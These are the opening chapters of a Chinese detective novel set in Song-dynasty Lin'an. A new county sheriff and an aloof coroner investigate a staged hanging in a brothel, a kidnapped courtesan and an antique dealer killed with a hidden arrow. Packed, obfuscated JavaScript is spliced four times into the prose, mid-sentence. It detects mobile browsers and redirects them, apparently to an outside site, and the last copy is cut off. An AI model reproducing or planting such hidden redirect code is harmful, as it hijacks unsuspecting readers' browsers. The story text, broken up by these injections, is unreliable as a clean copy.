《宋准探案记》 1. 初至临安 又是一年春,临安城内外一派春和景明之象,正值春耕时节,农田里都是忙着耕种的百姓。 忽地一处田埂上吵吵嚷嚷,许多人都围着去看,原来是郭家大哥和王老汉不知为何吵了起来。 “王伯,我真的冤枉啊,咱们两家从我太爷爷那辈都一直交好,我为啥要给你家牛喂毒草啊?”郭大哥扛着锄头直喊冤,头上的汗顺着脸颊滴到土里,他无奈地用手巾去擦。 王家老汉气得摔家伙,弯腰掰开耕牛的嘴,从里面掏出一些未嚼碎的草叶拿到大家面前摊开说:“郭大,不是我老汉非要讹你,你自己看看,这牛嘴里分明就是断肠草,昨日我将牛借给你的时候可还好好的,我是千叮咛万嘱咐你,田埂上有毒草,叫你把它看好喽,这牛跟了我老汉这么多年都没出过岔子,偏偏折在你手上。哎呀!” 周围众人都认得那断肠草的模样,此刻这牛口鼻发绀发紫,嘴边还有白沫,显然是中毒的迹象,听了王老汉的话,大家都开始对郭大指指点点。 郭大本就嘴笨,这下更是急的一句都争辨不出,憋了半天,他才大声说:“不行,我要去找仵作还我清白!” 说完扔下锄头就跑了,留下坐在地上唉声叹气的王老汉和看热闹的乡亲们。 此时从旁边田野小道传来一声喊:“老乡,你们围在这干嘛呢!” 众人向声音来源望去,只见一身着玄色官服的男子骑在一枣红马上,头戴斗笠,瞧不清脸,可其身姿挺拔,说话中气十足,一看便知是个有来头的。 没等人回答,那人自顾自下了马,往人群这边走来,摘下了斗笠,大家才看见此人的长相,麦色的皮肤,身材匀称,目光炯炯,鼻梁直而高挺,气宇不凡,模样也很是周正。 见没人说话,他又问:“可是出了什么事?” 王老汉听见那人走近了些,抬头瞧见此人穿着官服,立刻起身向其行礼道:“官爷,您可是今日要来上任的县尉吗?草民的耕牛被郭大害死嘞,还请官爷替草民主持公道!” 另一边,郭大一路跑向运河边仵作的河船屋去,他心里其实也发怵,仵作常年要与尸体打交道,身上肯定跟着些不干不净的东西。 虽然临安城无人不知这位仵作验尸本事一流,是人是畜只要是死了,交给他都能查出死因来,但出于对那些说不清道不明的玩意儿的恐惧,大家还是都避免和他接近。 可如今自己的清白要紧,不管有没有脏东西,也得把仵作请来了。 仵作的篷船正停在河边,郭大小心翼翼走近,冲着船头上在那不知正捣鼓什么的仵作喊道:“令狐仵作,您现下可有空吗?” 令狐仵作抬起头,见有人来找,立刻扭头道:“又死人了?” 郭大如抓住救命稻草一般,也顾不上害怕,二话不说上前就要拉着他往外走,但仵作却避开了郭大伸来的手,道:“你带路就是,别动手动脚。” 郭大一边走一边说:“令狐先生,我的清白就全靠你了啊!你若不帮我,死的就是我了!”又把来龙去脉都讲给令狐仵作,又再三强调自己绝对没有给王老汉的耕牛喂毒草,说着就回到了田埂上。 众人见令狐仵作来了,纷纷向后退了几步,好像他身上有什么不可近身的东西似的,令狐仵作走到耕牛的尸体旁,翻了翻牛眼,又掰开牛嘴看牛的舌头。 这时那玄衣男子开口问道:“阁下可是县里的仵作令狐朝?” 令狐朝没抬头,只应了声是。 那男子又道:“久仰大名,在下是新来临安上任的县尉宋准。” 一旁的乡民听闻此言,纷纷向他行礼道:“见过宋县尉。” 令狐朝依旧不为所动,只是从随身的药箱里拿出剔骨刀来,对王老汉说:“老头儿,我要剖你这牛你没意见吧?” 王老汉叹了口气道:“唉,死都死了,要剖就剖吧。” 郭大在一旁一语不发,两眼盯着令狐朝手里的剔骨刀上下翻飞,好像这样就能让他快点洗脱冤屈。 令狐朝剖开牛腹,在牛胃里看见还未消化完的草叶,对王老汉说:“你家牛确实是误食了断肠草,但这些分量可不至于毒倒一头牛。” 郭大如释重负,摊着手说:“王伯,我就说不是我了!我怎么会害你家牛啊!” 宋准在一旁问道:“既如此,那这牛又是因何而死?” 令狐朝此时拿出了牛心,指着上面发白和发绀的地方说:“这牛年岁不小了吧?看这牛心上的状态,显然是劳累过度,又一时用力过猛,以致血脉不通窒息而死。” 王老汉又说:“可是这牛口鼻发紫,明显是中毒所致啊!” “窒息也会导致口鼻发紫,那断肠草长在田埂上,和别的草混在一起,难保牛不会误食,方才我来时经过药田,药田中也并未有断肠草缺失,可见其并非误食毒草而死。老头儿,你家牛是老了!”令狐朝一边用布擦拭着刀上的血水,一边起身对着王老汉说道。 郭大走到王老汉身边将他扶起,对他说:“王伯,每年都是您借给我家耕牛,我家才能不误农时,我怎会害您家的耕牛?既然这头耕牛已经死了,不如咱们两家再合买一头耕牛,我愿意多出些钱。” 王老汉点点头,拍了拍郭大的手。围在一旁的众人见事情已了,才纷纷散去。 百姓都回自家田里劳作了,宋准也准备离开上马进城去报到,本想叫住令狐朝,但他全然没理会宋准,独自从田埂上抄近路走了。 走近城门,城中百姓皆夹道相迎,走到县衙门口,宋准下了马,早早就候在门口的县令迎上前去说:“老夫临安知县王致远,见过宋县尉,路途遥远,真是辛苦了。” 宋准立刻回礼道:“县尉宋准参见王知县。” 这位王知县瞧着虽然年岁不小,但依旧精神矍铄,蓄着缕花白的山羊胡子,颇有些仙风道骨的意味。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15509363|170544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 被王知县领着做完祭祀,拜完城隍,宋准才回到县廨,里面一早就收拾干净了,还有一位仆人专门伺候着。 宋准收拾着自己并不多的行李,将一小小的牌位拿出来放在桌上,点上三柱香,十分虔诚地叩拜,随后坐在一旁的椅子上,絮絮叨叨地自言自语。 “恩师,我如今也是个县尉了,您老在那边别挂念我。今日有城内的富商想邀我去他安排的豪宅居住,我婉拒了,我知道这一路会很艰难,但我迟早有一天会给您昭雪,让他们恭恭敬敬迎您进太庙。” 第二日,在衙门点完卯上市集巡逻,宋准才又看见令狐朝,他正坐在一茶摊边上喝茶,周围人都像刻意避开他,茶摊上除了他再无别的客人。 茶摊老板神色尴尬,他不想令狐朝坐在这影响他生意,又不敢上前驱赶,城里人人都道,仵作会给人下蛊哩! 令狐朝穿着一身烟灰色直裰,长发束在头顶,梳得很整齐,额前却又垂着两缕,手里拿着卷书,若是事先不知他是仵作,此刻宋准定要将他当作谁家的秀才。 宋准走上前去,坐到了令狐朝对面,对他说:“令狐兄?还记得在下吗?昨日我们见过。” 令狐朝放下手里的书,抬眼打量着眼前人,宋准这才看清楚他的长相,皮肤很白皙,剑眉星目,眼皮上有一小痣,脸是瘦削的,薄唇,眼中透着股桀骜的劲儿,此时看向自己的眼神颇为不耐烦。 此刻他眼中的不耐烦终于从嘴里说出来:“宋县尉有事吗?还是哪里又死人了?” “不不不,没有死人,是在下老远看见令狐兄在这,来打个招呼,毕竟今后也算是同僚…” 宋准话还没说完,就被令狐朝打断:“既没死人就别来找我,宋县尉也不怕沾上晦气。”令狐朝说完便一口喝完杯子里的茶,从身上摸出几文钱放在桌上,起身就走,宋准还没反应过来,令狐朝就消失在人群里了。 茶摊老板向宋准投来感激的眼神,追着要送他点心,被宋准拒绝了。 回衙门的路上,宋准问身边的捕头老陈关于令狐朝的事,陈捕头说:“宋县尉有所不知,这令狐仵作很是傲气,平日里又没人敢接近他,脾气怪些也正常。” “没人敢接近他?这是为何?”宋准问道。 “仵作常年跟那些尸体打交道,又是下九流,百姓们自然是怕他身上有晦气,县尉如何不明白这个理儿?” “愚昧!怕仵作有晦气,查命案还不是要靠仵作?”宋准道。 陈捕头忙应和道:“是,是,县尉说得在理。” 说着话几人已经走到了吟兰苑前,只见这吟兰苑白日里竟也敞开着门,从门里望进去,里面似是闹哄哄的一片杂乱,偶有几个姑娘慌慌张张地跑出去,有人瞧见了宋准一行人,急忙跑出来跪在了他面前。 来人是青楼的伙计,不知被什么吓得,说话都语无伦次:“县尉,县尉,出…出人命了!” 2. 玉蝉 宋准一惊,才上任第一天就遇上人命案子,一时竟不知该作何反应,好在一旁的陈捕头接上了话问那伙计:“怎么回事?你且从头讲起!” 从伙计断断续续的描述里,宋准拼凑出了事情的大致经过,原来是今晨收工之时去向老鸨报账,发现老鸨吊死在了花魁楼阁的房梁上,死相极为凄惨,吟兰苑里乱成一团,好些姑娘想顺势拿了卖身契逃出去,正和楼里伙计厮打着。 宋准叫捕快回衙门禀报县令,又让陈捕头带人封锁了吟兰苑,派人去找令狐朝,自己则进去查看现场。 伙计领着他走进大堂,地上散乱着伎子的花牌,正中的戏台子边上还放着些乐器,那群伙计姑娘们正在各个角落厮打着,宋准大喊一声:“打什么打!都给我住手!” 喊完这一声,大堂瞬间安静了,楼上却传来一声轻蔑的笑,宋准抬头望去,只见二楼栏杆上靠着一姑娘,正撑着手往下看,脸上满是玩味的表情,看见宋准往这边看过来了,她立刻收敛了表情,转身向后走了。 “站住!”宋准叫道,立刻跑上楼追向那姑娘离开的方向,但等上楼了才发现,楼上房间一间挨着一间,中间回廊错综复杂,还有通向三楼的楼梯,那姑娘早不知去哪了。 身后的伙计这才追上来,对宋准说:“县尉,那是我们楼里新来的歌女小蛮,她向来举止怪异,您别管她了,还是赶快跟我去看看鸨母吧!” 听了伙计的话,宋准暂时打消了疑心,跟着伙计下了楼,进了后院的花魁楼阁。 这吟兰苑是临安城内最大的一家青楼,出了前厅,有游廊连接中院与后院,游廊的柱子上写着诗词,旁有清渠从假山中穿过,牡丹开得正艳,另有三色月门分别通往不同等级伎子的居所,伙计带着宋准进了金色的月门,来到了正中的花魁楼阁。 “老鸨的尸体没人动过吧?”宋准问。 伙计战战兢兢地答道:“谁敢动啊,光是看一眼都要吓死人嘞!” 走到老鸨吊死的房间门口,伙计说什么也不肯进去,宋准叹了口气踏进门,走到老鸨尸体旁边查看。老鸨的发髻散乱着,头上的簪子掉了几支在地上,脸上化着浓妆,舌头伸出来半截,双拳紧握,看着确实骇人。 宋准想把老鸨的尸体从房梁上卸下来,刚伸出手就被身后一个人往边推了一把,那人推开宋准后,又往他手里塞了把东西。 他转头一看,原来是令狐朝到了,他高声喊了一句:“仵作验尸,闲杂人等退避!”随后把身上挎着的木箱放在地上打开,里面是一应验尸所需之物,他又拿出块白布围住口鼻,在发髻后打结,戴上手套,才伸手去将那老鸨的尸体放下来。 “宋县尉,验尸格目会写吧?”令狐朝问。 宋准才低头瞧见手里的东西,原来是笔墨和一本记簿,便答道:“啊,会的。”走到桌边磨好了墨,令狐朝便开始验尸。 “记,死者女性,年龄约三十有四,死亡四个时辰,颈部勒痕紫赤色,长九寸。” “记,七窍验,死者双眼浑浊,口鼻见白沫,舌出口二分,双耳完好。” “记,四肢查,无外伤,双臂完好,十指紧握…” 令狐朝突然停了下来,叫宋准过来,宋准停了笔,走到尸体旁边,令狐朝拿起尸体右手,抬眼对宋准说:“县尉,她手里攥着东西。” 透过尸体的指缝,勉强能看清那是一块约摸一寸长的玉质物件儿,宋准问:“能拿出来吗?尸体已经僵硬了。” “外面的!打盆热水来!”令狐朝冲外面的伙计喊道。 伙计应了一声,一溜烟跑了。 宋准站起身,才细细打量着这间屋子,这屋子不大,由珠帘隔开两个区域,进门正中一张圆桌,旁有两张圆凳,窗下是一张矮塌,上置一矮桌。珠帘后是卧房,只有一张床和一张梳妆台。 老鸨是在进门的桌子边踩着凳子上吊,对面的窗户关着,此时不过巳时三刻,窗子透光进来,正落在窗下的矮塌上。 屋内没有明显的打斗迹象,甚至连床铺都是整齐的,地上也没有杂乱的脚印一类痕迹,看起来就像是老鸨在夜深人静的时候上了吊,在伙计报账时才被发现。 “热水来了,县尉。”伙计在门外喊道,等在门口的捕快接过热水送进屋来,按照令狐朝的指示放在了尸体旁边。 令狐朝从他的箱子里找出一块帕子,在热水里浸湿了,捂在尸体紧紧攥着的手上,一边揉搓,一边尝试掰动关节,反复几次,才将那个玉质物件儿拿了出来,递给宋准。 宋准接过一瞧,是一枚玉蝉,触手温润,做工精细,是极好的料子。他将玉蝉拿到窗边,想打开窗透光看看,却在窗子打开后听到廊下有人弹着琴在唱曲儿。 “……执手相看泪眼,竟无语凝噎,念去去,千里烟波,暮霭沉沉楚天阔……”是柳永的《雨霖铃》。 令狐朝也听见了,起身走到窗边,阳光照得他眼睛眯起来,像是在笑似的,白布下传来幽幽的一声:“嗓子不错,琴艺差了点。” “令狐兄也懂琴?”宋准问。 令狐朝转头撇了他一眼,却反问道:“怎么,宋县尉以为我整日和尸体打交道,便不通风雅之事了?” “没有没有,是我不大通音律,听不懂这些。”宋准摆手应道,又对着外面的伙计说,“把那个唱歌的带上来,本县尉有话问她。” 伙计应了声又一溜烟儿跑走了,再回来时身边跟着的竟是一开始宋准在大堂二楼跟丢的那个女子,说是叫小蛮的。 那女子走进屋内,微微欠身行礼道:“小蛮见过县尉。” 小蛮看着身量纤纤,着一身月白纱裙,外罩一件 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15509364|170544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 同色的长衫,梳着垂云髻,发间除了几朵鲜花外,还斜插着一支孔雀翎金簪,颈上系着条一寸宽的丝带,在侧边打了结,长出的部分垂在胸前,脸上化着浓妆,看不出本来的模样,只略能觉出眉眼间透着些英气,额上还贴了花钿。 此时她正媚眼如丝地望着令狐朝,没等宋准问话,她倒夹着嗓子先说:“这位蒙白布的小哥长得好生俊美,不知尊姓大名,何方人士?” 宋准眉头一蹙,挡在令狐朝身前说:“官府查案,不要说与本案无关的事情!” 只听见身后令狐朝轻笑了一声,没说话,接着检查尸体去了。 “小蛮姑娘,我且问你,昨夜你可有听到什么异常的动静?”宋准问道。 小蛮用手指绞着垂在胸前的丝带,上下打量着宋准,似是在思考,又漫不经心地说:“昨夜啊…我一直在前堂伺候客人呢,我能听见什么异常的动静。” “那你是什么时候知道老鸨死了的?”宋准又问。 “你们什么时候知道的,我就是什么时候知道的呗。”小蛮歪着头斜眼瞧着宋准,松开丝带,又整理了一下从肩上滑落的长衫。 宋准叹了口气,知道关于老鸨的死是问不出什么有用信息了,便问她:“方才在大堂,你为何在楼上嗤笑,见到本县尉上来又逃走?” 小蛮眨眨眼睛,道:“我就喜欢看人打架,不行吗?” 说完她又向前迈了一步,歪头盯着宋准的脸,细细打量后咋舌:“你是县尉,我只是个小女子,见到你自是要逃,难不成…”她突然凑近宋准,在离他极近的位置停下,又迅速退回,“我应当如此扑上来,才像是青楼伎子做派?” 宋准耳尖一红,不自然地咳了一声,才说:“既如此,案子查清之前,所有人不许离开吟兰苑!让姑娘伙计们都回自己房间待着去,陈捕头去一一问话,昨夜都干了什么,见了哪些人,可曾听到,看到什么异常的情况。” 等在门外的陈捕头领命,带着人去前堂统计人数了,伙计和另两个捕快还在门外候着,屋内又剩下了宋准和令狐朝二人。 宋准这才拿着那枚玉蝉对着光线看了又看,玉蝉的形状大小并无特别之处,只是那料子极透,无一点杂质,是上好的和田玉,无孔,可见不是佩挂所用,而是用来赏玩的。 “那个伙计,你过来。”宋准对门外喊道,“这枚玉蝉可是你们楼中之物?” 伙计挠挠头,说:“这…这我上哪知道去,鸨母有什么好玩意儿怎么会让我们这些跑堂的看清楚。” “那这样,你们俩拿着这个玉蝉去楼里挨个问,谁见过这玉蝉,都带过来。”宋准对门口的两个捕快说道。 那两个捕快拿着玉蝉走了,令狐朝叫住宋准,说:“宋县尉,老鸨不是吊死,而是先被下了毒,又被吊起来伪装成自缢。” 3. 暗道 “什么?”宋准惊异道,“我听说吊死的人舌伸出口外,勒痕呈紫赤色,而事先死后又被吊起来的则不会如此,怎么这老鸨竟是事先被毒死?” “没有被毒死,只是被下了毒失去了行动能力,再被吊起来窒息而死,让人以为她是自杀。”令狐朝语气中毫无情绪变化,说着这样骇人的话,也十分冷静。 宋准思考了片刻,便说:“那么凶手在昨夜一定是埋伏在这屋子里,否则他如何确定老鸨一定会中了他的毒,又什么时候会被毒倒。” “不错,检查一下这间屋子,哪里可以藏人,哪里能被下毒。”令狐朝说着,就摘下手套和脸上的白布,将他的工具箱合了起来,“老鸨的尸体需带回衙门复检,叫两个人过来搬一下,初检验尸格目我已经填好,你一会儿叫人送去州府。” 这时候先前被叫去问玉蝉线索的两个捕快回来了,在门外叫着宋准:“县尉,已挨个问了,没人见过这玉蝉。” 令狐朝挎着箱子,指了指老鸨的尸体对二人说:“没人认识就算了,正好,你们俩跟我把尸体抬回县廨去。” 两个捕快支支吾吾看看尸体,又看看宋准,宋准查看着桌上的物件,抬头说:“让你们搬你们就搬,令狐兄先别走,留下验验哪里被下了毒。” 令狐朝翻了个白眼儿,从箱子里拿出两双手套来扔给那两个捕快:“动作小心点,别磕了碰了。” “是。”两个捕快答应着,戴上手套抬着尸体走了。 令狐朝开始检查桌上的茶盏和香炉,毫无所获,便走到窗边看着窗外,忽然像是想到什么似的,跑到妆台边打开抽屉,里面除了些胭脂水粉和首饰以外,还放着一摞被整理好的会子,拿起来略看看,都是三贯一张的大额。 他沾水濡湿了那些会子,拿出银针来沾了会子放在火折子上炙烤,烧过的位置变成了青黑色。验证完自己的猜想,令狐朝才叫了正在检查屋内布局的宋准:“宋县尉,下毒之人是将毒抹在了会子上。” “抹在了会子上?难道是老鸨在数钱时,用唾沫沾湿手指,那毒便神不知鬼不觉地被她吃了进去。”宋准问道。 “不错,吟兰苑老鸨爱财无人不知,啧啧啧,这法子呀,还真是够阴毒的。”令狐朝将那摞会子放到宋准手上,走到门槛边坐下,开始整理着他那个木箱,又从里面拿出来些艾草苍术在边上焚了。 宋准这时走到床边,在床上摸索半天,又敲敲附近的墙壁,地板,果然在床尾找到了一块松动的地板,拿出随身的短刀,将那块地板撬了起来。 下面是一个三尺见方的地道入口,有木梯通下去,从里面透着隐隐的寒气,宋准叫了一声已经靠在门框上打盹儿的令狐朝,道:“令狐兄,这里有暗道。” 令狐朝被惊醒,反应过来后又翻了个白眼儿,打着哈欠走到宋准身边,也蹲下往里看,说:“青楼里的暗道有什么稀奇的,有些达官贵人不想惹人耳目,又想进来寻欢作乐,不都是趁夜里从暗道进出的。” “那这不也说明,凶手很可能就是从这里进出的。”宋准转头看着他,似乎在寻求肯定。 令狐朝说:“啧,下去看看不就知道了,我跟你一起去,你等等啊。”他的语气里似乎隐隐有些兴奋,也不知是不是宋准听错了。 令狐朝从他的木箱里拿了火折子,又拿出一个小瓷瓶来,才跟着宋准下了那暗道。 从木梯下去,里面赫然是一条有许多岔路的地道,青石砖的墙壁上每隔一段距离便有一盏灯,有些亮着,有些已经灭了,应该是每晚都有专人来点上,地上同样铺了青石砖,看不出有什么异样。 二人向前走了一段距离,每一处的墙壁和地砖都毫无分别,也没有记号,若没有熟悉这地道的人带着,很容易就迷失在下面,宋准忽然停了下来,令狐朝没防备,直撞在了宋准后背上。 “啊!”令狐朝捂着鼻子,似乎撞得不轻,泄愤似的冲他后背上捶了一拳,“宋准你搞什么!” 宋准闷哼一声,回头查看他的情况:“令狐兄没事吧?真是抱歉…” “死不了,你突然停下来干什么?” “这里面没人带着恐怕很难走出去,咱们还是先回去,找个楼里的伙计带路。”宋准道。 令狐朝在胸前衣襟里掏掏,拿出个罗盘来,嘴角一扬,说:“没事儿,我早就预备好了,这花魁楼坐北朝南,老鸨被害的房间在北侧,吟兰苑北边就是一条小巷子,只要继续往北走就肯定能找到出口。” 宋准半信半疑,侧身让了个身位让令狐朝拿着罗盘走前面,顺着昏暗的地道,不过一盏茶的功夫,果然在尽头看到了入口同样的木梯,木梯上方有一个木门,门缝中有光亮。 火光下,令狐朝得意地笑了笑,爬上木梯,推了推上面的木门,纹丝不动。“怎么回事?”他嘀咕着又往上登了一阶,试图用身体将其顶开,还是没反应。 “令狐兄?要不我来?”宋准站在下面问。 令狐朝退了下来,宋准爬上木梯,用力向外一推,门还是没开,于是又换方向往下拉,一瞬间,刺眼的亮光带着些尘土一齐坠落,宋准先爬了出去,令狐朝随后也跟了上来。 地道的外面是吟兰苑的后墙,在后墙有一小小的角门,宋准走过去欲将其打开,却被身后的令狐朝叫住。 “别动!这地上的足迹不对劲。” 宋准在原地顿住,问:“怎么了?” “这两大一小三串足迹,虽有点不太完整了,但仍能辨别出来。”令狐朝俯身指着从地道出口到角门的地上,从边上拾了根树枝,在旁边划出痕迹,“这小一点的是女人的鞋印,穿的是绣花鞋,身长约有五尺,但她走路的姿势…” “像是被人拖着走的。”宋准接话,“脚步虚浮,每步间距有大有小,还有被拖行的痕迹,这两串大一点的鞋印在她两边,步子是稳健的。” 令狐朝抬头,嘴角微微扬起,眼中闪过一丝微不可查的欣赏之色来:“原来你也不是个草包啊,不错,左侧这人穿的是普通的布鞋,可能是楼里的伙计,身长五尺四寸,右边这个身长六尺,穿的是官靴。” “昨夜或者 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15509365|170544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 今早,有人从吟兰苑里带走了伎子。”宋准说,“回去查,谁不在楼里。” 令狐朝说:“你去吧,我再看看这附近有没有其他线索。” 宋准点点头,道:“也好,你查完了直接回县廨,老鸨的尸体还需要你再做复检,等我回去再整合手里的线索。” 令狐朝弯腰在地上观察着,摆摆手说自己知道了,宋准顺着后院的游廊回到了前堂,找到了还在挨个问话的陈捕头。 “陈捕头,楼里可少人了?” 陈捕头拿着记簿,将上面记录的内容给宋准看:“回县尉,花魁金雀儿失踪了,下落不明,有几个伎子说昨夜看到金雀儿独自进屋后就再也没出来,除此之外,没人见到其他可疑的人。” “金雀儿身长几何?”宋准问。 有个伙计说:“金雀儿姑娘身长五尺一寸,楼里都有记档。” 宋准点点头,对他说:“把你们的记档和账本都拿来留作物证,陈捕头,留几个人在这里看着,今日吟兰苑停业,一个人也别放出去,剩下的人回衙门候命!” “是!”捕快们领命离开,宋准又叫住陈捕头压低了声音对他说:“后院有一地道出口,派人悄悄盯着,谁从地道进出了,都给我记下来。” 陈捕头点头称是,带着几个人走了。 宋准则独自拿着那枚玉蝉去了市集,打听到了懂行的古董商人,便前去那古董商人的店铺请其辨认这玉蝉,哪知那古董商人刚拿着玉蝉在灯下瞧,就忽然被一支后方楼梯来的暗箭射中,血溅四周。 “什么人!”宋准冲着楼梯上大喝一声,立刻追了上去,上了二楼,只见一蒙了面的黑衣人站在窗边正欲翻窗跳出,看到宋准上来了,对他说了句:“这个案子你不要查下去,对你没好处。” 说完那黑衣人一跃而下,宋准随即追出去,从古董行一路追到了护城河,那人跳进水里潜走了,也不知道是不是看错了,似乎水里的黑衣人不止那一个。 宋准没法再追下去,急忙又赶回古董行去,那古董商人倒在了柜台后面,手边的地上用血写了“九曜”二字,玉蝉掉在了他身边,宋准捡起玉蝉,立刻又赶回县廨,向王县令说明了古董行的事。 王知县急得来回踱步,这是极其恶劣的凶杀案件,一日不到,接连死了两个人,他们之间不知有无特殊联系,古董商还没来得及说话便被灭口,背后不知道牵扯到了哪里的利益组织。 “宋县尉,此案重大,务必要尽快破案!”王知县最后只说出来这样一句话,宋准向他承诺在此案他必在三日内告破,又把令狐朝叫了去验尸。 一路上,令狐朝挎着药箱喘着粗气跟在宋准身后,断断续续地抱怨:“哎…我说……你是怎么…回事儿…怎么你一来,接二…连三的死人呢…” 宋准面不改色回头从令狐朝肩上卸下药箱自己挎上,说:“令狐兄别开这种玩笑了,我要有这等神通我早就在刑部大牢里了,快些走吧,还有两条街呢。” 令狐朝翻了个白眼,快跑几步跟上了前面大步流星的宋准。 4. 九曜 宋准一同叫来的还有几个捕快,守在古董行外,跑堂伙计早就被吓得不知跑哪去了。令狐朝拿出他那些工具,又将笔墨和记簿交到宋准手里,开始验尸。 “记…死者男性,年龄约四十有七,背部箭伤,此为致命伤。记,七窍验,双眼完好,双耳完好,口鼻完好。记,四肢查,双臂完好,双腿完好……” 令狐朝做完初检,摘了手套和脸上的白布,起身去焚苍术艾草了,宋准从记簿上用朱笔将验尸结果誊写至格目上,交给了门口的一名捕快,让其着人送去州府提刑司。 “令狐兄,我去二楼再查看一下,你将尸体带回县廨吧。”宋准说。 令狐朝收拾着他的木箱不为所动,对门口的捕快喊道:“哎,喊你们抬尸体呢。”几个捕快面面相觑,还是来了两人将尸体抬走了。 在二楼黑衣人离开的窗台边上,宋准找到了一些香料的碎屑,不像是平日里常用的香料,他正拿着纸将那些香料碎屑包起来,耳边冷不丁传来一声:“西域曼陀罗?” 宋准被吓得手一抖,纸上的碎屑差点全撒了,回头一看,正对上令狐朝的脸。 “啊,令狐兄…你怎么走路一点声音都没有,吓死我了。”宋准拍着胸口,果真是被吓得不轻,但令狐朝只是笑道:“你死了还要我来验,我可不想给自己找活干。” “你方才说什么?西域曼陀罗?你认得这香料?”宋准问他。 他点点头,接过那纸上的碎屑,用手指捻起来一点,在鼻尖嗅嗅,说:“对香料略有些研究,这确实是西域曼陀罗没错,和我们本土的曼陀罗不同,虽然都有麻醉的功效,但西域的这一种功效更甚,只需这一点点,和别的香料一同焚了,便能让成年男子人事不省至少两个时辰。” “这种香料,只有专卖西域香料的商铺里才有,且都是由西域商人经营的,可不便宜,一般人可买不起的。”令狐朝想了想,又补充道,“还有,方才在吟兰苑后院的角门外,也有同样的碎屑,旁边有新鲜的车辙痕迹,金雀儿可能是被那辆装过香料的车带走的,或者说,是被伪装出来的香料运输车带走的。” “这么说,难道带走金雀儿的和杀害古董商的是同一拨人?” “有这个可能,只是不知道,老鸨在其中扮演了什么角色,为什么被灭了口。”令狐朝站起身,将包好的香料碎屑递还给宋准。 “都作为物证,先带回去吧,一点点查,我不相信这些人能做的天衣无缝。”宋准说完又问道,“令狐兄可听说过九曜?” “九曜?有点熟悉,但我不记得在哪听过了,怎么,这玉蝉与九曜有关?” “方才你也看到了,古董老板断气前留下的绝笔,他被暗箭所伤前正在查看那枚玉蝉,他一定是看出了什么,才会留下字迹,回去打听一下这个九曜,可能老鸨的死并没有看起来那么简单。” 回到县廨,令狐朝去进一步检查解剖尸体,宋准则到了架阁库中查看会子发行流通的记档,经过对比,发现那些有毒的会子都来自城南的永昌柜坊。确定了这一信息,宋准便准备扮成商人去那柜坊中探探虚实。 他在自己本就不多的行李里翻翻找找,换上了自己最贵的一身衣裳,又让令狐朝给他贴了个假络腮胡子,装作十分阔气的样子来到了城南的永昌柜坊。 柜坊门口的伙计见到宋准,连忙迎上去谄媚着说:“客官瞧着面生啊,是想存物还是兑银?” “我初到临安做生意,有货款需兑成会子,不知道你们这儿是怎么个兑法?”宋准装着西域人的口音问那伙计。 伙计两眼滴溜溜一转,说:“原来是西域的贵客,您且随我来。”带着宋准进了柜坊单独会客的屋内,又说:“您暂坐片刻,我去请掌柜。” “好,请快些。”伙计一走,宋准便开始打量着屋里的陈设,看着就是普通的柜坊会客室,并没有什么异样,便面对门口坐下。 突然身后一声响动,不等宋准反应,就有人从背后捂住了宋准的口鼻,一把匕首抵在了脖颈上,那人在宋准耳边说:“说了让你不要查这个案子!再警告你最后一次,否则,下次这把刀就会插进你的喉咙。” 挣扎间,匕首划破了皮肤,宋准在那人松手离开的一瞬间立刻起身想去追,站起来却浑身卸了力,倒在了椅子上。 再醒来时,他还在那间会客室,里面没有旁人,更没有什么伙计和掌柜,颈上的伤口还在一点点溢血,胸前的衣服已被洇湿了一片,他伸手按住伤口,起身出门,柜坊大堂空无一人,门敞开着,天已经黑了,走出柜坊,街上也没有行人,月光明亮,照在地上,像是下了一场雪。 宋准此时还觉得头脑发昏,四肢无力,那匕首上定是淬了毒了,一路跌跌撞撞,不知怎么就走到了附近的运河边,只有一河船屋还亮着灯,他走近那船屋,窗户透出的影子看着很是眼熟,他便冲船上人说:“船家,城内的医馆在何处啊?” 船舱里那人出来了,宋准定睛一瞧,来人果然是令狐朝。 令狐朝一出船舱,看到的就是脸色苍白的宋准,有血正从他捂着脖子的指缝中溢出来,前胸洇湿一大片。 他愣了一下,反应过来立刻问道: “宋准?你不是去柜坊了吗?这是怎么回事?”令 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 